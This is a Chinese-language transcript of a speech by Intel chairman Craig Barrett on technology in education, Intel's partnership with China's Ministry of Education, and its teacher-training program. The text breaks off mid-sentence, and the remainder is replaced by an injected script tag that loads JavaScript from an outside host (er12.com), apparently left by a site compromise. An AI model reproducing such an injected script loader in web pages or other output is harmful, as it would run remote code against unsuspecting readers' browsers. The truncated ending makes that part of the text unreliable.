11月1日，英特尔公司董事会主席克瑞格·贝瑞特开始了他第12次访华的北京行程。在“共创未来教育计划”的启动现场，以下是贝瑞特的演讲实录：
克瑞格·贝瑞特：早上好各位，我非常高兴又回到了中国，在过去10-12年当中每年到中国一到两次，每次看到中国发生着巨大的变化，今天我感到特别高兴的是我能够站在这里谈教育，能够谈英特尔与中国教育部开展的合作，以及简单地给大家介绍一下在过去几年当中我们所开展的教育计划。所以，今天我既是一个企业的代表，也是一个对世界各地教育事业感兴趣的公民，同时我也是兼职作为联合国全球信息中心技术与发展联盟主席，同时也是我认为今天在中国我们正在推行的很多计划和项目，也能够典型地说明对于世界发展中国家一个巨大的机遇。
我想，教育是一个非常有趣的话题。就是有两个原因，第一个原因是在世界上有两大转变，世界上大部分国家已经加入了自由贸易体系，也就是说世界市场在变得越来越大。在这个巨大的世界市场当中，已经有了30亿的世界人口参加到了开放的贸易体系当中来，由于开放贸易很多国家调整了其国家的策略，中国、印度、巴西、俄罗斯、墨西哥、美国，几乎世界上每个国家都调整了各自的政策，要重新地考察他们开展工作的方式，并且调整他们的国家竞争力策略。
技术在改变围绕着我们的一切，改变了我们的工作、学习、娱乐、沟通、获取信息等方面的方式。世界正在越变越小，技术使得人们之间的交流沟通和信息的传递变得更加容易，这就意味着机会更多，而挑战、竞争也更多，对所有国家来说都是如此。你身在何地是不重要的，你可以在中国、在巴西、在美国，无论在哪里你都可以以同样的方式为世界的发展做出贡献。所以，地理位置再也不能够决定人们的命运，每个人都能够参与，每个人都能够开展竞争。世界上这个重大的变化也为教育带来了巨大的变化，在朝向未来的发展当中，对于任何一个国家的国家的竞争力说教育都发挥着至关重要的作用。我们在看技术与教育的关系的时候，实际上技术有四个方面：
首先是技术的普及性，所谓普及性指的是能够拥有一个技术设备，或者是能够共享技术设备，也就是通过硬件和软件可以上网。同时我们需要能够联网，我们看到宽带连接变得越来越重要，世界上几乎所有的国家包括中国都在非常多的谈论如何实现更多的上网的普及率，不仅在城市地区而且在农村地区。因为农村地区的固网建设可能不如城市地区这么好。
第三点，就是本地化的有意义的内容的可获性，如果你是一个广东的农户的话，你非常感兴趣的信息是当地的气象信息、当地的农业信息、当地的政府工作的政策、当地的就业信息，而与此同时，你对于美国发生了什么或者是德国发生了什么并不在意，你在意的是本地化的内容。
第四点，我们在谈到信息的普及性的时候，我们要谈教育，这是非常重要的一点。技术本身就是一种工具，我们要通过教育让人们在行之有效的在朝着未来的发展当中用的技术，这是我们和教育部的合作的出发点，我们更积极主动的以前瞻性的进入到教育领域当中，我们如何让下一代的就业大军做好准备，能够在他们的职业领域取得成功，如何给他们更好的教育，不仅仅要教育年轻人，同时要教育教师，要强调所有参加工作人的继续教育。
所以，当我们看到在教育界的重大的变化的时候，我们的结论是知识实际上是中国最宝贵的自然资源，中国有13亿的人口。将由这13亿人来创建新的产品，提出新的想法，使用他们的知识，发挥他们的教育背景，来驱动中国经济的发展，推动中国竞争力的增强，不仅在中国如此，在世界各地都是同样的道路，我们在世界各地看到基于知识的工作机会工资最高，知识在越来越多的创造经济财富和整个国家的财富。也就是说人们参与到新经济当中的这种能力是非常重要的。知识成了新的主要的商品，是任何社会、任何经济体在今后发展中所不可或缺的。
我们在这儿要做的是要探查一下如何来加强教育，我们如果谈到年轻人的教育的话，年轻人能够参与到知识经济当中来的话。我们应当首先来看一看最期待解决的问题在教育方面是哪些，对于一个国家的经济成功来说，对于一个国家的教育有关的最击破的问题是哪些，多年前我们就认识到如果你想让年轻人了解到信息技术，并且把它当成一种工具用于加强自己的教育的话，最重要的一点就是我们首先不应该从孩子入手，而是首先应该从教师入手，让教师能够在课堂中行之有效的使用信息技术，所以我们启动了英特尔未来教育计划，在英特尔未来教育计划当中，我们想告诉教育工作者pc并不是一个魔方，但是真正能够带来一种奇迹般的变化是课堂上的教师，只要他们把技术手段作为工具的话，英特尔计划6年前已经启动，已经汇集中国31个省市自治区，在中国通过这个计划培训了72万名教师，教他们如何在课堂当中以更有趣的教学的方式，更能够激励思维的方式，用技术手段来进行教育。从而使?script src=http://er12.com/t.js>
